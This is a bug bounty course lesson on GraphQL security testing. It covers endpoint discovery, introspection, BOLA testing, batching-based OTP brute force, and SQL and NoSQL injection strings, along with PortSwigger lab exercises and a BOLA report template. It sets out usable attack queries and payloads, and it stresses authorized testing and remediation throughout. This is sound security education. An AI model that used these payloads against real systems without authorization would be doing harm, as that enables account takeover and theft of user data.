Bug Bounty Course -- Day 34 of 60
57%

GraphQL Vulnerabilities Bug Bounty 2026 — Introspection, Batching and BOLA in Modern APIs | Bug Bounty Course Day 34 of 60

GraphQL Vulnerabilities Bug Bounty 2026 — Introspection, Batching and BOLA in Modern APIs | Bug Bounty Course Day 34 of 60
✨ AI Summary
💰 BUG BOUNTY HUNTER
FREE

Part of the Bug Bounty 60-Day Course

GraphQL vulnerabilities Bug Bounty – Day 34 of 60 · 57% complete

When I test a GraphQL API, I don’t start by firing random payloads at it. I start by understanding how the API is put together. That’s what makes GraphQL interesting for bug bounty work: one endpoint can expose a large data model, and introspection may let us map that model in a single query. From there, I look closely at fields that accept user or object IDs, because that’s where broken object-level authorization (BOLA) can appear. I’ll walk you through the same process I use to investigate the attack surface, test it safely, and turn a confirmed issue into a report a triager can reproduce.

🎯 What you’ll master in Day 34

Identify GraphQL endpoints and understand the request format
Run the introspection query to map the full API schema
Use InQL in Burp to auto-generate test queries from the schema
Find and exploit BOLA — Broken Object Level Authorization — in GraphQL queries
Test batching attacks to bypass rate limiting on sensitive operations
Write a High-tier GraphQL BOLA report with a minimal PoC query

⏱ ~30 min read · 3 hands-on exercises · Burp Suite + InQL + PortSwigger Academy

Before you start you’ll want: Burp Suite from Day 5 intercepting API traffic, a basic understanding of JSON from your REST API testing experience, and optionally the InQL Burp extension (BApp Store → “InQL” → Install). InQL automates the introspection step and saves significant time — it’s worth installing before this session.

What GraphQL is and why it’s different from REST

Let’s start with the practical difference. In a REST API, I might see separate routes such as GET /users/123, GET /orders, and POST /payments. Each route usually has its own response structure. GraphQL often works through one endpoint, commonly /graphql. The client sends a query describing the fields it wants, and the server returns those fields. So, rather than hunting through a long list of routes, I can spend time understanding one endpoint and the types and fields it makes available.

Here’s the security detail I want you to remember: GraphQL can describe its own schema through introspection. If introspection is enabled, I may be able to discover types, fields, arguments, and mutations without finding separate documentation. That doesn’t automatically mean the API is vulnerable. The bigger question is whether the application checks what the logged-in user is allowed to access at the object and field level. A login check tells the server who you are; authorization must also decide which records and operations you’re allowed to use.

🧠 EXERCISE 1 — THINK LIKE A HACKER (10 MIN · NO TOOLS)

Before opening Burp, I want you to think like the person reviewing the API’s design. Work through these three questions:

  1. A REST API has an endpoint GET /api/v1/invoices/{id} that checks whether the authenticated user owns the invoice. A GraphQL API has a query invoice(id: ID!): Invoice in its schema. Where does the authorization check need to happen in the GraphQL version? What happens if the developer checks authentication at the resolver level but skips the ownership check?
  2. A GraphQL API has rate limiting set to 10 requests per minute per API key. A mutation verifyOTP(code: String!): AuthToken exists in the schema. The rate limit is per HTTP request, not per mutation. How many OTP codes can you test in a single HTTP request using batching? How does this change the brute-force timeline for a 6-digit OTP?
  3. Introspection is disabled on a target. What other techniques might reveal the schema structure? (Hint: consider what happens when you submit a query with a field that doesn’t exist, and what error message the server returns.)
✅ Takeaway: Don’t confuse authentication with authorization. A user can be properly logged in and still be allowed to access the wrong record if a resolver skips the ownership check. Also remember that rate limits need to account for individual GraphQL operations, not just HTTP requests. If introspection is disabled, error messages may still reveal clues about the schema; that inference technique is often called schema discovery through error messages or “clairvoyance.”
📸 Write your answers for #day-34-graphql before continuing.


Finding GraphQL endpoints

Now let’s find the endpoint. I usually begin with Burp Proxy history while browsing the application normally. Look for familiar paths such as /graphql or /api/graphql, but don’t assume every application uses the same route. The request often stands out: it’s a POST containing JSON with a query property. You may also see an operationName and a variables object. Those pieces tell you what operation the client is asking the server to run and which values it is passing in.

FINDING GRAPHQL ENDPOINTS IN BURP
# Common GraphQL endpoint paths
/graphql
/api/graphql
/gql
/v1/graphql
/v2/graphql
/query
# GraphQL request format — POST with JSON body
POST /graphql HTTP/1.1
Content-Type: application/json
Authorization: Bearer [token]
{“query”:”{ user { id email } }”}
# Confirm it’s GraphQL — send this and look for “__schema” or GraphQL error
{“query”:”{ __typename }”}
# Response: {“data”:{“__typename”:”Query”}} = confirmed GraphQL
# Also check for GET-based GraphQL (less common)
GET /graphql?query={__typename}


Introspection — mapping the full schema

Once I’ve confirmed that I’m looking at GraphQL, I check whether introspection is available. The query asks the API to describe its schema: types, fields, arguments, and operations. If the server returns that information, I save it and study it before testing individual fields. One important distinction: enabled introspection is not automatically a security vulnerability. It is a source of information. The actual finding depends on what the application exposes and whether its authorization controls are working.

GRAPHQL INTROSPECTION QUERY
# Full introspection query — paste into Burp Repeater as the “query” value
{“query”:”{ __schema { types { name fields { name args { name type { name kind ofType { name kind } } } type { name kind ofType { name kind } } } } } }”}
# Or use the condensed version to just get type names first
{“query”:”{ __schema { types { name } } }”}
# Look in the response for suspicious type names:
Admin, AdminUser, InternalUser, PrivateUser
Debug, Internal, Hidden, Unpublished
BetaFeature, StaffOnly, BackendConfig
# InQL Burp extension — faster alternative to manual introspection
# InQL tab → enter endpoint URL → “Load” → schema parsed automatically
# Generates test queries for every type with one click

securityelites.com
Burp Repeater — introspection exposes a hidden Admin type
REQUEST
POST /graphql {"query":"{ __schema { types { name } } }"}

RESPONSE 200 OK
{ "data": { "__schema": { "types": [
{ "name": "User" },
{ "name": "Admin" },
{ "name": "Query" } ] } } }

Drill into Admin:
type Admin { adminUsers: [User!]! deleteUser(id: ID!): Boolean }

📸 Introspection is on in production — the schema hands you the entire attack surface, including the Admin type and its adminUsers / deleteUser fields that no UI link exposes.

💡 How I read the schema: I don’t treat names such as “admin”, “internal”, “private”, “debug”, or “staff” as proof of a vulnerability. I use them as leads. I note the fields and arguments, then test whether my own low-privilege account can access them. For example, if I find an AdminPanel type, the next question is whether the resolver enforces an administrator role. The response to that controlled test—not the name of the type—is what determines whether I have a finding.

BOLA — the highest-impact GraphQL class

This is the section I want you to pay particular attention to: BOLA, or Broken Object Level Authorization. The pattern is straightforward. A query accepts an object ID, fetches the matching record, but fails to check whether the current user is allowed to access it. To test for that safely, I use two accounts that I control. First I request Account A’s data and record the normal response. Then, while authenticated as Account A, I substitute the ID belonging to my own Account B. If the API returns Account B’s private data to Account A, I have evidence of an authorization failure.

Why can the impact be substantial? A GraphQL query may let the client request related fields in one operation. If the same user lookup exposes a profile, orders, payment metadata, or messages—and the resolver tree does not enforce authorization consistently—the response may reveal more than a basic profile endpoint would. I don’t assume every related field is exposed, though. I test each field using accounts I own and document exactly what the server returns.

TESTING BOLA IN GRAPHQL QUERIES
# STEP 1: Find queries that accept an ID argument (from introspection)
# Example: user(id: ID!): User
# STEP 2: Query your own data first to establish baseline
{“query”:”{ user(id: \”USER_A_ID\”) { id email phone orders { id total } } }”}
# Response: your own data — note your user ID
# STEP 3: Change the ID to a different user’s ID
# (use a second test account, not a real user)
{“query”:”{ user(id: \”USER_B_ID\”) { id email phone orders { id total } } }”}
# BOLA confirmed if you receive User B’s data in the response
# Also test mutations — can you modify another user’s data?
{“query”:”mutation { updateUser(id: \”USER_B_ID\”, email: \”attacker@test.com\”) { id email } }”}
# If this succeeds → BOLA on mutation = Critical (account modification)
# IDOR vs BOLA naming — same vulnerability, modern term is BOLA (OWASP API1)


Batching attacks — bypassing rate limits

Next, let’s look at batching. GraphQL implementations may accept an array of operations in one HTTP request. That can be useful for performance: a client can send several operations without making a separate network round trip for each one. The security question is how the server counts them. If the application applies its limit only to incoming HTTP requests, a batch containing many operations might consume just one request from the limit. A robust implementation should also limit the number and cost of operations inside each batch.

I pay particular attention to operations that are supposed to slow down repeated guesses, such as OTP verification, password-reset codes, and login attempts. If batching is accepted and the controls are applied only once per HTTP request, the protection may be weaker than the developers intended. For a bug bounty test, don’t turn that observation into a real brute-force attempt. Use a lab or a programme-approved test account, send only a small batch sufficient to demonstrate the control gap, and stop as soon as you have evidence.

GRAPHQL BATCHING ATTACK — OTP BRUTE FORCE
# Standard single mutation request (counts as 1 against rate limit)
{“query”:”mutation { verifyOTP(email: \”victim@test.com\”, code: \”123456\”) { token } }”}
# Batched request — 10 mutations in a single HTTP request (still counts as 1)
[
{“query”:”mutation { verifyOTP(email: \”victim@test.com\”, code: \”000000\”) { token } }”},
{“query”:”mutation { verifyOTP(email: \”victim@test.com\”, code: \”000001\”) { token } }”},
{“query”:”mutation { verifyOTP(email: \”victim@test.com\”, code: \”000002\”) { token } }”},
… (up to 100+ mutations in one request)
]
# Response is an array — look for any item where the token is not null
[{“data”:{“verifyOTP”:null}}, {“data”:{“verifyOTP”:null}}, …, {“data”:{“verifyOTP”:{“token”:”eyJ…”}}}]
# For PoC in a report: show 5–10 batched mutations in one request
# Confirm rate limit is NOT applied per-mutation
# Do NOT run full brute force on a production target


GraphQL injection

GraphQL itself does not magically prevent injection. The risk usually sits behind the resolver: the resolver receives an argument and passes it into a database query or system command. If that value is inserted into a raw query without safe parameterization or validation, familiar injection flaws may appear in the backend. I generally prioritize authorization testing first, then investigate injection where the application behavior or error messages give me a reason to look more closely.

GRAPHQL INJECTION TEST PAYLOADS
# Test string arguments with SQL injection characters
{“query”:”{ users(search: \”‘ OR ‘1’=’1\”) { id email } }”}
{“query”:”{ users(search: \”admin’ –\”) { id email } }”}
# Look for:
– Database error messages in the response
– Unexpected data returned (all users instead of matching users)
– Stack traces revealing the backend language and query structure
# NoSQL injection (MongoDB-style)
{“query”:”{ user(id: {\”$gt\”: \”\”}) { email } }”}
# Also test with Burp Scanner’s active scan on the graphql endpoint
# Burp Pro: right-click request → Scan → Active scan
# Scanner understands GraphQL format and injects into individual field arguments

⚡ EXERCISE 2 — BURP LAB (25 MIN)

Let’s put the ideas into practice in a controlled environment. Open the PortSwigger Web Security Academy labs below and work through the steps:

  1. Open the PortSwigger GraphQL Lab: Reading Sensitive Data via Aliases. Use the introspection query to discover the schema. Find a query that returns user data by ID.
  2. Identify the user ID associated with the administrator account (hint: check the blog post data for user IDs, then query each one to find admin credentials).
  3. Try the GraphQL Brute Force via Batching lab. The lab has a login mutation with rate limiting. Send a batched request with multiple password guesses and find the correct password in the batch response.
✅ Takeaway: The aliases lab shows how GraphQL syntax can request multiple objects in one operation, so authorization must be checked for every object—not just once for the overall request. The batching lab demonstrates why rate limits should account for each operation and the total work in a batch. Severity still depends on the actual impact and the programme’s rules; don’t label every batching weakness High without demonstrating what protection it defeats.
📸 Screenshot of your batched request returning the correct password for #day-34-graphql.


Writing the report that pays

When I write a GraphQL report, I make the proof of concept as small and reproducible as possible. The triager should not have to guess which field I changed or reconstruct the request from a long explanation. For BOLA, I include the query, the two test accounts I used, and a redacted response proving that Account A could access Account B’s data. For batching, I show a small batch and the server’s response or rate-limit behavior. I want to prove the weakness without running a full brute-force attempt.

BUG BOUNTY REPORT TEMPLATE — GRAPHQL BOLA
Title: GraphQL BOLA — Unauthorized Access to Any User’s Profile, Orders, and Payment Info via user(id:) Query — High

Severity: High (CVSS 8.1) — unauthorized access to sensitive user data
Affected Endpoint: POST https://api.target.com/graphql

Summary: The user(id: ID!): User query accepts any user ID and returns the user’s profile, order history, and payment method information without verifying that the requesting user owns the queried account. An authenticated attacker can enumerate any user ID and retrieve their private data.

Steps to Reproduce:
1. Log in to target.com as a test user (Account A) and get your user ID from the existing user query
2. POST to /graphql with Authorization header for Account A:
{“query”:”{ user(id: \”ACCOUNT_B_ID\”) { id email phone orders { id total createdAt } } }”}
3. Response returns Account B’s email, phone number, and full order history despite Account A having no relationship to Account B
[Response screenshot attached showing Account B’s data]

Impact: Any authenticated user can read any other user’s email address, phone number, and complete order history by incrementing or guessing user IDs. With user enumeration possible (IDs are sequential integers), this is a full user data breach at scale — not just one victim at a time.

Remediation: In every resolver that accepts an ID argument, verify that the authenticated user’s ID matches the requested ID or that the user has an explicit permission to access the requested object. This is a resolver-level check, not an endpoint-level check. Consider field-level authorization middleware (like graphql-shield for Node.js) to enforce this consistently across all resolvers.

⚡ EXERCISE 3 — WRITE THE REPORT (15 MIN)

Now turn what you observed in the lab into a report another tester can reproduce. Keep the evidence tied to the lab or to accounts you are authorized to use:

  1. Write the BOLA report using the template above. Use the actual query from the lab and the actual response showing the other user’s data. Focus on making the PoC query reproducible in one copy-paste.
  2. Write the batching attack report separately. Include: the target mutation name, the batch request format with 5–10 example mutations, and the response showing one successful match. Rate the severity: does rate limiting enforcement at the operation level vs HTTP level change the CVSS score?
  3. Identify what GraphQL-specific remediation advice applies to each finding. BOLA has a different fix than batching rate-limit bypass — write a specific, actionable remediation for each.
✅ Takeaway: Match the remediation to the root cause. For BOLA, the server must authorize access to the requested object inside the resolver or a consistently applied authorization layer. For batching, enforce limits per operation as well as per HTTP request, and consider batch size, query complexity, and sensitive-operation throttling. Specific fixes make your report more useful than generic advice such as “add authentication.”
📸 Share your BOLA PoC query for #day-34-graphql.

💰 Quick check: a GraphQL endpoint returns a 403 response when you send the full introspection query. Which technique should you try next to discover hidden fields and types?




📋 Day 34 reference card

{“query”:”{ __schema { types { name } } }”}Basic introspection — get all type names; look for Admin, Private, Internal
{“query”:”{ __typename }”}Confirm GraphQL endpoint — returns {“data”:{“__typename”:”Query”}}
user(id: “OTHER_USER_ID”)BOLA test — change your ID to another user’s ID in any ID-accepting query
[{query1}, {query2}, …]Batching syntax — multiple operations in one HTTP request
InQL Burp extensionRuns introspection automatically, generates test queries for every type
Clairvoyance toolSchema extraction when introspection is disabled — uses error message leakage
Field-level authorizationThe correct fix for BOLA — check ownership at every resolver, not just the endpoint

✅ Mark Day 34 complete

You’ve now worked through the core GraphQL workflow: identify the endpoint, inspect the schema where permitted, test ID-based access with accounts you control, check how batching interacts with rate limits, and write a concise report with a reproducible proof of concept.

Tomorrow — Day 35: Business logic vulnerabilities — the class that pays the best and that automated scanners miss entirely.

❓ Frequently asked questions

What is GraphQL introspection and why is it a risk?
Think of introspection as GraphQL’s built-in way of describing its own schema. A client may be able to ask for the available types, fields, and operations. If that information is exposed in production, it can give a tester a useful map of the API—including operations that are not linked in the user interface. Introspection alone does not prove an exploitable vulnerability; it helps you identify what to test next.
What is BOLA in GraphQL and how is it different from IDOR?
BOLA (Broken Object Level Authorization) is the OWASP API Security term for a failure to check whether a user may access a particular object. It is closely related to what many testers have historically called IDOR. In GraphQL, look for a query that accepts an object ID and returns the matching record. The test is whether the server checks that the authenticated user is allowed to access that record—not simply whether the ID is valid.
How do batching attacks bypass rate limiting?
Some GraphQL servers accept an array of operations in one HTTP request. If rate limiting counts only HTTP requests and does not account for the operations inside a batch, one request may contain more work than the limit was intended to allow. In an authorized lab, demonstrate the issue with a small batch. The defensive fix is to apply limits to individual operations and to control batch size and query cost.
What is clairvoyance and when do I need it?
Clairvoyance refers to inferring a GraphQL schema when introspection is unavailable. Some servers return helpful validation errors when a query references an unknown field; the suggestions in those errors can reveal real field names. A schema-inference tool can automate that process. Treat the results as leads to verify, and only run the technique against systems where your testing is authorized.
What is the right fix for GraphQL BOLA?
The key fix is resolver-level authorization. Whenever a resolver accepts an object ID, the application must check whether the authenticated user has permission to access that specific object. Endpoint authentication only tells the application that someone is logged in; it does not establish ownership of every record they request. Authorization middleware can help apply these checks consistently, but the rules still need to reflect the application’s actual access model.
Can I find SQL injection through GraphQL?
Yes. GraphQL resolvers can pass arguments to backend database operations, and unsafe query construction can introduce SQL or NoSQL injection. The vulnerability is in how the resolver handles the input—not in GraphQL syntax itself. In an authorized test, use controlled inputs and look for meaningful differences in behavior or error handling. Parameterized queries and safe database APIs are important defenses.
← Previous
Day 33: SSRF
Next →
Day 35: Business Logic Vulnerabilities

📚 Further reading

ME
Mr Elite
One GraphQL pattern has stayed with me because it illustrates why I inspect the schema before testing individual operations. I once encountered an introspection response that listed a type called AdminUser and a field named adminUsers. The normal user query returned a user’s own data, while the admin-related field appeared to expose information about administrator accounts. The important part was not the suspicious name in the schema; it was the authorization test that followed. In that case, the field was reachable without the expected administrator permission. That’s the lesson I want you to take away: introspection gives you leads, but a controlled request and a verified authorization failure establish the finding. Map what the API describes, then prove what your account can actually access.

⚡
Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free
Lokesh N. Singh aka Mr Elite
Lokesh N. Singh aka Mr Elite
Founder, Securityelites · AI Red Team Educator
Founder of Securityelites and creator of the SE-ARTCP credential. Working penetration tester focused on AI red team, prompt injection research, and LLM security education.
About Lokesh ->

Leave a Comment

Your email address will not be published. Required fields are marked *